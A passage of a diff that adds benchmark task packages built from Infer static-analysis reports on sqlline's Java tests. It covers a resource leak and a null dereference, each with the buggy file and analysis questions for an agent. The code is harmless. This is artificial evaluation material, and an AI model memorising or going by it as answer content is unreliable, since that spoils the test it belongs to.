+                     new FileOutputStream(tmpHistoryFile),
+                     StandardCharsets.UTF_8))) {
+      bw.write("1536743099591:SELECT \\n CURRENT_TIMESTAMP \\n as \\n c1;\n"
+          + "1536743104551:!/ 4\n"
+          + "1536743104551:!/ 5\n"
+          + "1536743104551:!/ 2\n"
+          + "1536743104551:!/ 7\n"
+          + "1536743107526:!history\n"
+          + "1536743115431:!/ 3\n"
+          + "1536743115431:!/ 8\n");
+      bw.flush();
+
+      SqlLine.Status status = begin(beeLine, os, true,
+          "--historyfile=" + tmpHistoryFile.getAbsolutePath(),
+          "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+      beeLine.runCommands(dc,
+          "!set incremental true",
+          "!set maxcolumnwidth 30",
+          "!connect "
+              + ConnectionSpec.H2.url + " "
+              + ConnectionSpec.H2.username + " "
+              + "\"\"");
+      os.reset();
+
+      beeLine.runCommands(dc, "!/ 1");
+      String output = os.toString("UTF8");
+      final String expected0 = "+----------------------------+";
+      final String expected1 = "|             C1             |";
+      final String expected2 = "1 row selected";
+      assertThat(output,
+          allOf(containsString(expected0),
+              containsString(expected1),
+              containsString(expected2)));
+      os.reset();
+
+      beeLine.runCommands(dc, "!/ 4");
+      output = os.toString("UTF8");
+      String expectedLine3 = "Cycled rerun of commands from history [2, 4]";
+      assertThat(output, containsString(expectedLine3));
+      os.reset();
+
+      beeLine.runCommands(dc, "!/ 3");
+      output = os.toString("UTF8");
+      String expectedLine4 = "Cycled rerun of commands from history [3, 5, 7]";
+      assertThat(output, containsString(expectedLine4));
+      os.reset();
+
+      beeLine.runCommands(dc, "!/ 8");
+      output = os.toString("UTF8");
+      String expectedLine5 = "Cycled rerun of commands from history [8]";
+      assertThat(output, containsString(expectedLine5));
+      os.reset();
+
+      beeLine.runCommands(dc, "!rerun " + Integer.MAX_VALUE);
+      output = os.toString("UTF8");
+      String expectedLine6 =
+          "Usage: rerun <offset>, available range of offset is -7..8";
+      assertThat(output, containsString(expectedLine6));
+      beeLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(beeLine.isExit());
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testMaxColumnWidthIncremental() {
+    final String script1 = "!set maxcolumnwidth -1\n"
+            + "!set incremental true\n"
+            + "values (100, 200)";
+    final String line1 = ""
+            + "+-------------+-------------+\n"
+            + "|     C1      |     C2      |\n"
+            + "+-------------+-------------+\n"
+            + "| 100         | 200         |\n"
+            + "+-------------+-------------+";
+    checkScriptFile(script1, true, equalTo(SqlLine.Status.OK),
+            containsString(line1));
+
+    final String script2 = "!set maxcolumnwidth 0\n"
+            + "!set incremental true\n"
+            + "values (100, 200)";
+    final String line2 = ""
+            + "+-------------+-------------+\n"
+            + "|     C1      |     C2      |\n"
+            + "+-------------+-------------+\n"
+            + "| 100         | 200         |\n"
+            + "+-------------+-------------+";
+    checkScriptFile(script2, true, equalTo(SqlLine.Status.OK),
+            containsString(line2));
+
+    final String script3 = "!set maxcolumnwidth 5000\n"
+            + "!set incremental true\n"
+            + "values (100, 200)";
+    final String line3 = ""
+            + "+-------------+-------------+\n"
+            + "|     C1      |     C2      |\n"
+            + "+-------------+-------------+\n"
+            + "| 100         | 200         |\n"
+            + "+-------------+-------------+";
+    checkScriptFile(script3, true, equalTo(SqlLine.Status.OK),
+            containsString(line3));
+
+    final String script4 = "!set maxcolumnwidth 2\n"
+            + "!set incremental true\n"
+            + "values (100, 200)";
+    final String line4 = ""
+            + "+----+----+\n"
+            + "| C1 | C2 |\n"
+            + "+----+----+\n"
+            + "| 100 | 200 |\n"
+            + "+----+----+";
+    checkScriptFile(script4, true, equalTo(SqlLine.Status.OK),
+            containsString(line4));
+  }
+
+  @Test
+  public void testMaxColumnWidthBuffered() {
+    final String script1 = "!set maxcolumnwidth -1\n"
+            + "!set incremental false\n"
+            + "values (100, 200)";
+    final String line1 = ""
+            + "+-----+-----+\n"
+            + "| C1  | C2  |\n"
+            + "+-----+-----+\n"
+            + "| 100 | 200 |\n"
+            + "+-----+-----+";
+    checkScriptFile(script1, true, equalTo(SqlLine.Status.OK),
+            containsString(line1));
+
+    final String script2 = "!set maxcolumnwidth 0\n"
+            + "!set incremental false\n"
+            + "values (100, 200)";
+    final String line2 = ""
+            + "+-----+-----+\n"
+            + "| C1  | C2  |\n"
+            + "+-----+-----+\n"
+            + "| 100 | 200 |\n"
+            + "+-----+-----+";
+    checkScriptFile(script2, true, equalTo(SqlLine.Status.OK),
+            containsString(line2));
+
+    final String script3 = "!set maxcolumnwidth 5000\n"
+            + "!set incremental false\n"
+            + "values (100, 200)";
+    final String line3 = ""
+            + "+-----+-----+\n"
+            + "| C1  | C2  |\n"
+            + "+-----+-----+\n"
+            + "| 100 | 200 |\n"
+            + "+-----+-----+";
+    checkScriptFile(script3, true, equalTo(SqlLine.Status.OK),
+            containsString(line3));
+
+    final String script4 = "!set maxcolumnwidth 2\n"
+            + "!set incremental false\n"
+            + "values (100, 200)";
+    final String line4 = ""
+            + "+----+----+\n"
+            + "| C1 | C2 |\n"
+            + "+----+----+\n"
+            + "| 100 | 200 |\n"
+            + "+----+----+";
+    checkScriptFile(script4, true, equalTo(SqlLine.Status.OK),
+            containsString(line4));
+  }
+
+  /** Tests with incrementalBufferRows = -1; query stays in non-incremental
+   * mode. */
+  @Test
+  public void testIncrementalBufferRows() {
+    final String script1 = "!set incrementalBufferRows -1\n"
+        + "!set incremental false\n"
+        + "select * from (values (10, 20), (1, 2), (111, 2), (11, 2222))";
+    final String line1 = ""
+        + "+-----+------+\n"
+        + "| C1  |  C2  |\n"
+        + "+-----+------+\n"
+        + "| 10  | 20   |\n"
+        + "| 1   | 2    |\n"
+        + "| 111 | 2    |\n"
+        + "| 11  | 2222 |\n"
+        + "+-----+------+";
+    checkScriptFile(script1, true, equalTo(SqlLine.Status.OK),
+        containsString(line1));
+  }
+
+  /** Tests with incrementalBufferRows = 0; query goes straight into
+   * incremental mode. */
+  @Test
+  public void testIncrementalBufferRows2() {
+    final String script2 = "!set incrementalBufferRows 0\n"
+        + "!set incremental false\n"
+        + "select * from (values (1, 2), (1, 20), (111, 20), (11, 2222), (1, 22))";
+    final String line2 = ""
+        + "+----+----+\n"
+        + "| C1 | C2 |\n"
+        + "+----+----+\n"
+        + "| 1  | 2  |\n"
+        + "| 1  | 20 |\n"
+        + "| 111 | 20 |\n"
+        + "| 11  | 2222 |\n"
+        + "| 1   | 22   |\n"
+        + "+----+----+";
+    checkScriptFile(script2, true, equalTo(SqlLine.Status.OK),
+        containsString(line2));
+  }
+
+  /** Tests with incrementalBufferRows = 1; query starts in non-incremental mode
+   * and switches to incremental after 1 row. */
+  @Test
+  public void testIncrementalBufferRows3() {
+    final String script3 = "!set incrementalBufferRows 1\n"
+        + "!set incremental false\n"
+        + "select * from (values (10, 20), (1, 2), (111, 2), (11, 2222), (111, 2222))";
+    final String line3 = ""
+        + "+----+----+\n"
+        + "| C1 | C2 |\n"
+        + "+----+----+\n"
+        + "| 10 | 20 |\n"
+        + "| 1  | 2  |\n"
+        + "| 111 | 2  |\n"
+        + "| 11  | 2222 |\n"
+        + "| 111 | 2222 |\n"
+        + "+----+----+";
+    checkScriptFile(script3, true, equalTo(SqlLine.Status.OK),
+        containsString(line3));
+  }
+
+  /** Tests with incrementalBufferRows = 4; query starts in non-incremental mode
+   * and rows run out before the limit is reached. */
+  @Test
+  public void testIncrementalBufferRows4() {
+    final String script4 = "!set incrementalBufferRows 4\n"
+        + "!set incremental false\n"
+        + "select * from (values (10, 20), (1, 2), (111, 2), (11, 2222))";
+    final String line4 = ""
+        + "+-----+------+\n"
+        + "| C1  |  C2  |\n"
+        + "+-----+------+\n"
+        + "| 10  | 20   |\n"
+        + "| 1   | 2    |\n"
+        + "| 111 | 2    |\n"
+        + "| 11  | 2222 |\n"
+        + "+-----+------+";
+    checkScriptFile(script4, true, equalTo(SqlLine.Status.OK),
+        containsString(line4));
+  }
+
+  @Test
+  public void testIncrementalBufferRows5() {
+    // With incrementalBufferRows default (1000), query starts and
+    // stays in incremental mode.
+    final String script5 = "!set incrementalBufferRows default\n"
+        + "!set incremental false\n"
+        + "select * from (values (10, 20), (1, 2))";
+    final String line5 = ""
+        + "+----+----+\n"
+        + "| C1 | C2 |\n"
+        + "+----+----+\n"
+        + "| 10 | 20 |\n"
+        + "| 1  | 2  |\n"
+        + "+----+----+";
+    checkScriptFile(script5, true, equalTo(SqlLine.Status.OK),
+        containsString(line5));
+  }
+
+  @Test
+  public void testMaxHistoryFileRows() {
+    final SqlLine beeLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    final File tmpHistoryFile = createTempFile("tmpHistory", "temp");
+    try (BufferedWriter bw =
+             new BufferedWriter(
+                 new OutputStreamWriter(
+                     new FileOutputStream(tmpHistoryFile),
+                     StandardCharsets.UTF_8))) {
+      bw.write("1536743099591:SELECT \\n CURRENT_TIMESTAMP \\n as \\n c1;\n"
+          + "1536743104551:SELECT \\n 'asd' as \"sdf\", 4 \\n \\n as \\n c2;\\n\n"
+          + "1536743104551:SELECT \\n 'asd' \\n as \\n c2;\\n\n"
+          + "1536743104551:!/ 2\n"
+          + "1536743104551:SELECT \\n 2123 \\n as \\n c2 from dual;\\n\n"
+          + "1536743107526:!history\n"
+          + "1536743115431:SELECT \\n 2 \\n as \\n c2;\n"
+          + "1536743115431:SELECT \\n '213' \\n as \\n c1;\n"
+          + "1536743115431:!/ 8\n");
+      bw.flush();
+      bw.close();
+
+      SqlLine.Status status = begin(beeLine, os, true,
+          "--historyfile=" + tmpHistoryFile.getAbsolutePath(),
+          "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+
+      final int maxLines = 3;
+      beeLine.runCommands(dc, "!set maxHistoryFileRows " + maxLines);
+      os.reset();
+      beeLine.runCommands(dc, "!history");
+      assertEquals(maxLines + 1,
+          os.toString("UTF8").split("\\s+\\d{2}:\\d{2}:\\d{2}\\s+").length);
+      os.reset();
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testSave() {
+    final SqlLine beeLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    try {
+      SqlLine.Status status = begin(beeLine, os, false,
+          "-e", "!save");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      final DispatchCallback dc = new DispatchCallback();
+
+      assertThat(os.toString("UTF8"),
+          containsString("Saving preferences to"));
+      os.reset();
+      beeLine.runCommands(dc, "!set");
+      assertThat(os.toString("UTF8"),
+          allOf(containsString("autoCommit"),
+              not(containsString("Unknown property:"))));
+      os.reset();
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testScript() {
+    final File file = createTempFile("sqlline", ".script");
+    final String script = "!script " + file.getAbsolutePath() + "\n"
+        + "values (100, 200);\n"
+        + "!set maxcolumnwidth -1\n"
+        + "!script\n"
+        + "values (1, 2);\n";
+    final String expected = "(?s)1/5          !script.*"
+        + "2/5          values \\(100, 200\\);.*"
+        + "3/5          !set maxcolumnwidth -1.*"
+        + "4/5          !script.*"
+        + "5/5          values \\(1, 2\\);.*";
+    checkScriptFile(script, false, equalTo(SqlLine.Status.OK),
+        RegexMatcher.of(expected));
+
+    final String output = "values \\(100, 200\\);\n"
+        + "!set maxcolumnwidth -1\n";
+    assertFileContains(file, RegexMatcher.of(output));
+  }
+
+  @Test
+  public void testStartupArgsWithoutUrl() {
+    try {
+      SqlLine sqlLine = new SqlLine();
+      ByteArrayOutputStream os = new ByteArrayOutputStream();
+      PrintStream sqllineOutputStream =
+          new PrintStream(os, false, StandardCharsets.UTF_8.name());
+      sqlLine.setOutputStream(sqllineOutputStream);
+      sqlLine.setErrorStream(sqllineOutputStream);
+      String[] args = {
+          "-d",
+          "org.hsqldb.jdbcDriver",
+          "-n",
+          "SCOTT",
+          "-p",
+          "TIGER"
+      };
+      DispatchCallback callback = new DispatchCallback();
+      sqlLine.initArgs(args, callback);
+      assertThat(os.toString("UTF8"), containsString(sqlLine.loc("no-url")));
+    } catch (Throwable e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /**
+   * Tests setting the "confirm" property.
+   */
+  @Test
+  public void testConfirmFlag() {
+    try {
+      final SqlLine line = new SqlLine();
+      final ByteArrayOutputStream os = new ByteArrayOutputStream();
+      assertThat(line.getOpts().getConfirm(), is(false));
+      begin(line, os, false, "-e", "!set confirm true");
+      assertThat(line.getOpts().getConfirm(), is(true));
+      begin(line, os, false, "-e", "!set confirm false");
+      assertThat(line.getOpts().getConfirm(), is(false));
+    } catch (Throwable e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /**
+   * Tests that the "confirm" property works.
+   */
+  @Test
+  public void testConfirmFlagEffects() {
+    new MockUp<sqlline.Commands>() {
+      @Mock
+      int getUserAnswer(String question, int... allowedAnswers) {
+        return 'n';
+      }
+    };
+
+    final SqlLine line = new SqlLine();
+    assertThat(line.getOpts().getConfirm(), is(false));
+    assertThat(line.getOpts().getConfirmPattern(), is("default"));
+    String script = "CREATE TABLE dummy_test(pk int);\n"
+        + "INSERT INTO dummy_test(pk) VALUES(1);\n"
+        + "INSERT INTO dummy_test(pk) VALUES(2);\n"
+        + "INSERT INTO dummy_test(pk) VALUES(3);\n"
+        + "DELETE FROM dummy_test;\n"
+        + "DROP TABLE dummy_test;\n";
+    checkScriptFile(script, true,
+        equalTo(SqlLine.Status.OK),
+        containsString(" "));
+
+    script = "!set confirm true\n" + script;
+    checkScriptFile(script, true,
+        equalTo(SqlLine.Status.OTHER),
+        containsString(line.loc("abort-action")));
+  }
+
+  /**
+   * Tests that the "confirmPattern" property works.
+   */
+  @Test
+  public void testConfirmPattern() {
+    final SqlLine line = new SqlLine();
+    assertThat(line.getOpts().getConfirm(), is(false));
+    final ByteArrayOutputStream os = new ByteArrayOutputStream();
+
+    begin(line, os, false, "-e",
+        "!set confirmPattern \"^(?i:(TRUNCATE|ALTER))\"");
+    assertThat(line.getOpts().getConfirmPattern(),
+        is("^(?i:(TRUNCATE|ALTER))"));
+
+    begin(line, os, false, "-e", "!set confirmPattern default");
+    assertThat(line.getOpts().getConfirmPattern(),
+        is(line.loc("default-confirm-pattern")));
+  }
+
+  /**
+   * Test for illegal regex in confirmPattern
+   */
+  @Test
+  public void testExceptionConfirmPattern() {
+    try {
+      final SqlLine line = new SqlLine();
+      final ByteArrayOutputStream os = new ByteArrayOutputStream();
+      assertThat(line.getOpts().getConfirm(), is(false));
+      SqlLine.Status status =
+          begin(line, os, false, "-e",
+              "!set confirmPattern \"^(?i*:(TRUNCATE|ALTER))\"");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      assertThat(os.toString("UTF8"), containsString("invalid regex"));
+      os.reset();
+    } catch (Throwable e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /** Information necessary to create a JDBC connection. Specify one to run
+   * tests against a different database. (hsqldb is the default.) */
+  public static class ConnectionSpec {
+    public final String url;
+    public final String username;
+    public final String password;
+    public final String driver;
+
+    public ConnectionSpec(String url, String username, String password,
+        String driver) {
+      this.url = url;
+      this.username = username;
+      this.password = password;
+      this.driver = driver;
+    }
+
+    public static final ConnectionSpec H2 =
+        new ConnectionSpec("jdbc:h2:mem:", "sa", "", "org.h2.Driver");
+
+    public static final ConnectionSpec ERROR_H2_DRIVER =
+        new ConnectionSpec("jdbc:h2:mem:", "sa", "", "ERROR_DRIVER");
+
+    public static final ConnectionSpec ERROR_H2_URL =
+        new ConnectionSpec("ERROR_URL", "sa", "", "org.h2.Driver");
+
+    public static final ConnectionSpec HSQLDB =
+        new ConnectionSpec(
+            ScottHsqldb.URI, ScottHsqldb.USER, ScottHsqldb.PASSWORD,
+            "org.hsqldb.jdbcDriver");
+
+    public static final ConnectionSpec MYSQL =
+        new ConnectionSpec(
+            "jdbc:mysql://localhost/scott", "scott", "tiger",
+            "com.mysql.jdbc.Driver");
+  }
+
+  /** Regular expression matcher. */
+  private static class RegexMatcher extends BaseMatcher<String> {
+    private final String pattern;
+
+    RegexMatcher(String pattern) {
+      super();
+      this.pattern = pattern;
+    }
+
+    public static RegexMatcher of(String pattern) {
+      return new RegexMatcher(pattern);
+    }
+
+    public boolean matches(Object o) {
+      return o instanceof String
+          && ((String) o).matches(pattern);
+    }
+
+    public void describeTo(Description description) {
+      description.appendText("regular expression ").appendText(pattern);
+    }
+  }
+
+}
+
+// End SqlLineArgsTest.java
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.PrintStream` acquired by call to `SqlLine()` at line 962 is not released after line 967.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SqlLineArgsTest.testExecutionException(JDBCDatabaseMetaData,JDBCResultSet)
+
+### Procedure Id:
+sqlline.SqlLineArgsTest.testExecutionException(org.hsqldb.jdbc.JDBCDatabaseMetaData,org.hsqldb.jdbc..281d2ab4b16ce7a76452b4a728f2ad46
+
+### File:
+src/test/java/sqlline/SqlLineArgsTest.java
+
+### Key:
+SqlLineArgsTest.java|testExecutionException|RESOURCE_LEAK
+
+### Node Key:
+4e7cf70e3290ea52366c5949eac877d2
+
+### Hash:
+cc18d62e032108d93ee5e71473d44e12
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8105/instruction.md b/inferredbugs-8105/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..77e71a1ea91632316a7d9ea75e5a177b69fb6087
--- /dev/null
+++ b/inferredbugs-8105/instruction.md
@@ -0,0 +1,316 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sqlline
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+// Licensed to Julian Hyde under one or more contributor license
+// agreements. See the NOTICE file distributed with this work for
+// additional information regarding copyright ownership.
+//
+// Julian Hyde licenses this file to you under the Modified BSD License
+// (the "License"); you may not use this file except in compliance with
+// the License. You may obtain a copy of the License at:
+//
+// http://opensource.org/licenses/BSD-3-Clause
+*/
+package sqlline;
+
+import java.io.ByteArrayOutputStream;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.Locale;
+
+import org.jline.utils.AttributedString;
+import org.jline.utils.AttributedStringBuilder;
+import org.jline.utils.AttributedStyle;
+import org.junit.jupiter.api.Test;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static sqlline.SqlLineArgsTest.begin;
+
+/**
+ * Test cases for prompt and right prompt.
+ */
+public class PromptTest {
+  @Test
+  public void testPromptWithoutConnection() {
+    SqlLine sqlLine = new SqlLine();
+    // default prompt
+    assertThat(sqlLine.getPromptHandler().getPrompt().toAnsi(),
+        is(BuiltInProperty.PROMPT.defaultValue()));
+    assertThat(sqlLine.getPromptHandler().getRightPrompt().toAnsi(),
+        is(BuiltInProperty.RIGHT_PROMPT.defaultValue()));
+
+    // custom constant prompt
+    final SqlLineOpts opts = sqlLine.getOpts();
+    opts.set(BuiltInProperty.PROMPT, "custom_prompt");
+    opts.set(BuiltInProperty.RIGHT_PROMPT, "custom_right_prompt");
+    assertThat(sqlLine.getPromptHandler().getPrompt(),
+        is(new AttributedString("custom_prompt")));
+    assertThat(sqlLine.getPromptHandler().getRightPrompt(),
+        is(new AttributedString("custom_right_prompt")));
+
+    // custom constant multiline prompt
+    opts.set(BuiltInProperty.PROMPT, "custom\nprompt\n");
+    opts.set(BuiltInProperty.RIGHT_PROMPT, "custom\nright\nprompt\n");
+    assertThat(sqlLine.getPromptHandler().getPrompt(),
+        is(new AttributedString("custom\nprompt\n")));
+    assertThat(sqlLine.getPromptHandler().getRightPrompt(),
+        is(new AttributedString("custom\nright\nprompt\n")));
+
+    // custom constant colored prompt
+    opts.set(BuiltInProperty.PROMPT, "%[f:y%]sqlline%[default%]>>");
+    opts.set(BuiltInProperty.RIGHT_PROMPT, "%[bold%]end");
+    AttributedStringBuilder promptBuilder = new AttributedStringBuilder();
+    promptBuilder.append("sqlline", AttributedStyles.YELLOW).append(">>");
+    AttributedStringBuilder rightPromptBuilder = new AttributedStringBuilder();
+    rightPromptBuilder.append("end", AttributedStyle.BOLD);
+    assertThat(sqlLine.getPromptHandler().getPrompt(),
+        is(promptBuilder.toAttributedString()));
+    assertThat(sqlLine.getPromptHandler().getRightPrompt(),
+        is(rightPromptBuilder.toAttributedString()));
+
+    opts.set(BuiltInProperty.PROMPT, "%[f:b,italic%]sqlline%[default%]>>");
+    promptBuilder = new AttributedStringBuilder();
+    promptBuilder.append("sqlline", AttributedStyles.ITALIC_BLUE);
+    promptBuilder.append(">>");
+    opts.set(BuiltInProperty.RIGHT_PROMPT, "[%[underline,f:m%]end%[default%]]");
+    rightPromptBuilder = new AttributedStringBuilder();
+    rightPromptBuilder.append("[");
+    rightPromptBuilder
+        .append("end",
+            AttributedStyle.DEFAULT
+                .foreground(AttributedStyle.MAGENTA).underline());
+    rightPromptBuilder.append("]");
+    assertThat(sqlLine.getPromptHandler().getPrompt(),
+        is(promptBuilder.toAttributedString()));
+    assertThat(sqlLine.getPromptHandler().getRightPrompt(),
+        is(rightPromptBuilder.toAttributedString()));
+
+    // custom prompt with date values
+    opts.set(BuiltInProperty.PROMPT, "%w_%W_%o_%O_%y_%Y>");
+    opts.set(BuiltInProperty.RIGHT_PROMPT, "[%w_%W_%o_%O_%y_%Y]");
+    final SimpleDateFormat sdf =
+        new SimpleDateFormat("d_E_MM_MMM_YY_YYYY", Locale.ROOT);
+    assertThat(sqlLine.getPromptHandler().getPrompt().toAnsi(),
+        is(sdf.format(new Date()) + ">"));
+    assertThat(sqlLine.getPromptHandler().getRightPrompt().toAnsi(),
+        is("[" + sdf.format(new Date()) + "]"));
+
+    // custom prompt with data from connection (empty if there is no connection)
+    opts.set(BuiltInProperty.PROMPT, "%u%n");
+    opts.set(BuiltInProperty.RIGHT_PROMPT, "%d%c");
+    assertThat(sqlLine.getPromptHandler().getPrompt().toAnsi(), is(""));
+    assertThat(sqlLine.getPromptHandler().getRightPrompt().toAnsi(), is(""));
+
+    opts.set(BuiltInProperty.PROMPT, "%u%c>");
+    opts.set(BuiltInProperty.RIGHT_PROMPT, "<<<%n%d");
+    assertThat(sqlLine.getPromptHandler().getPrompt().toAnsi(), is(">"));
+    assertThat(sqlLine.getPromptHandler().getRightPrompt().toAnsi(), is("<<<"));
+
+    // custom prompt with property value
+    opts.set(BuiltInProperty.PROMPT, "%:color:>");
+    opts.set(BuiltInProperty.RIGHT_PROMPT, "%:outputformat:");
+    assertThat(sqlLine.getPromptHandler().getPrompt().toAnsi(),
+        is(opts.getColor() + ">"));
+    assertThat(sqlLine.getPromptHandler().getRightPrompt().toAnsi(),
+        is(opts.getOutputFormat()));
+  }
+
+  @Test
+  public void testPromptWithNickname() {
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    SqlLine sqlLine = new SqlLine();
+    try {
+      final SqlLine.Status status =
+          begin(sqlLine, os, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      final DispatchCallback dc = new DispatchCallback();
+      sqlLine.runCommands(dc, "!connect "
+          + SqlLineArgsTest.ConnectionSpec.H2.url + " "
+          + SqlLineArgsTest.ConnectionSpec.H2.username + " \"\"");
+
+      // custom prompt with data from connection
+      final SqlLineOpts opts = sqlLine.getOpts();
+      sqlLine.getDatabaseConnection().setNickname("nickname");
+      opts.set(BuiltInProperty.PROMPT, "%u@%n>");
+      opts.set(BuiltInProperty.RIGHT_PROMPT, "//%d%c");
+      // if nickname is specified for the connection
+      // it has more priority than prompt.
+      // Right prompt does not care about nickname
+      assertThat(sqlLine.getPromptHandler().getPrompt().toAnsi(),
+          is("0: nickname> "));
+      assertThat(sqlLine.getPromptHandler().getRightPrompt().toAnsi(),
+          is("//H20"));
+      sqlLine.getDatabaseConnection().close();
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testPromptWithConnection() {
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    SqlLine sqlLine = new SqlLine();
+    try {
+      final SqlLine.Status status =
+          begin(sqlLine, os, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      final DispatchCallback dc = new DispatchCallback();
+      sqlLine.runCommands(dc, "!connect "
+          + SqlLineArgsTest.ConnectionSpec.H2.url + " "
+          + SqlLineArgsTest.ConnectionSpec.H2.username + " \"\"");
+
+      // custom prompt with data from connection
+      final SqlLineOpts opts = sqlLine.getOpts();
+      opts.set(BuiltInProperty.PROMPT, "%u@%n>");
+      opts.set(BuiltInProperty.RIGHT_PROMPT, "//%d%c");
+      assertThat(sqlLine.getPromptHandler().getPrompt().toAnsi(),
+          is("jdbc:h2:mem:@SA>"));
+      assertThat(sqlLine.getPromptHandler().getRightPrompt().toAnsi(),
+          is("//H20"));
+      sqlLine.getDatabaseConnection().close();
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testPromptWithSchema() {
+    SqlLine sqlLine = new SqlLine();
+    sqlLine.getOpts().set(BuiltInProperty.PROMPT, "%u%S>");
+
+    sqlLine.runCommands(new DispatchCallback(),
+        "!connect "
+            + SqlLineArgsTest.ConnectionSpec.H2.url + " "
+            + SqlLineArgsTest.ConnectionSpec.H2.username + " \"\"");
+
+    assertThat(sqlLine.getPromptHandler().getPrompt().toAnsi(),
+        is("jdbc:h2:mem:PUBLIC>"));
+
+    sqlLine.runCommands(new DispatchCallback(), "use information_schema");
+
+    assertThat(sqlLine.getPromptHandler().getPrompt().toAnsi(),
+        is("jdbc:h2:mem:INFORMATION_SCHEMA>"));
+
+    sqlLine.getDatabaseConnection().close();
+  }
+
+  @Test
+  public void testPromptScript() {
+    SqlLine sqlLine = new SqlLine();
+    sqlLine.getOpts().set(BuiltInProperty.PROMPT_SCRIPT, "'hel' + 'lo'");
+
+    sqlLine.runCommands(new DispatchCallback(),
+        "!connect "
+            + SqlLineArgsTest.ConnectionSpec.H2.url + " "
+            + SqlLineArgsTest.ConnectionSpec.H2.username + " \"\"");
+    assertThat(sqlLine.getPromptHandler().getPrompt().toAnsi(),
+        is("hello"));
+
+    sqlLine.getOpts().set(BuiltInProperty.PROMPT_SCRIPT, ""
+        + "'i=' + connectionIndex + ',p=' + databaseProductName +"
+        + " ',n=' + userName + ',u=' + url + ',s=' + currentSchema + '>'");
+    assertThat(sqlLine.getPromptHandler().getPrompt().toAnsi(),
+        is("i=0,p=H2,n=SA,u=jdbc:h2:mem:,s=PUBLIC>"));
+
+    sqlLine.getDatabaseConnection().close();
+  }
+
+  @Test
+  public void testCustomPromptHandler() {
+    SqlLine sqlLine = new SqlLine();
+    sqlLine.runCommands(new DispatchCallback(),
+        "!connect "
+            + SqlLineArgsTest.ConnectionSpec.H2.url + " "
+            + SqlLineArgsTest.ConnectionSpec.H2.username + " \"\"",
+        "!prompthandler sqlline.extensions.CustomPromptHandler");
+
+    assertThat(sqlLine.getPromptHandler().getPrompt().toAnsi(),
+        is("my_app (PUBLIC)>"));
+
+    sqlLine.runCommands(new DispatchCallback(), "!prompthandler default");
+
+    assertThat(sqlLine.getPromptHandler().getPrompt().toAnsi(),
+        is("0: jdbc:h2:mem:> "));
+
+    sqlLine.getDatabaseConnection().close();
+  }
+
+}
+
+// End PromptTest.java
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `sqlLine.getDatabaseConnection()` could be null and is dereferenced at line 237.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void PromptTest.testCustomPromptHandler()
+
+### Procedure Id:
+sqlline.PromptTest.testCustomPromptHandler():void.39ace0d3f0baf7d503b6077804cd260f
+
+### File:
+src/test/java/sqlline/PromptTest.java
+
+### Key:
+PromptTest.java|testCustomPromptHandler|NULL_DEREFERENCE
+
+### Node Key:
+6a7cfd397a248d76b64a279c7288aceb
+
+### Hash:
+37bafee6008e1e7d65e5a6a215010325
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
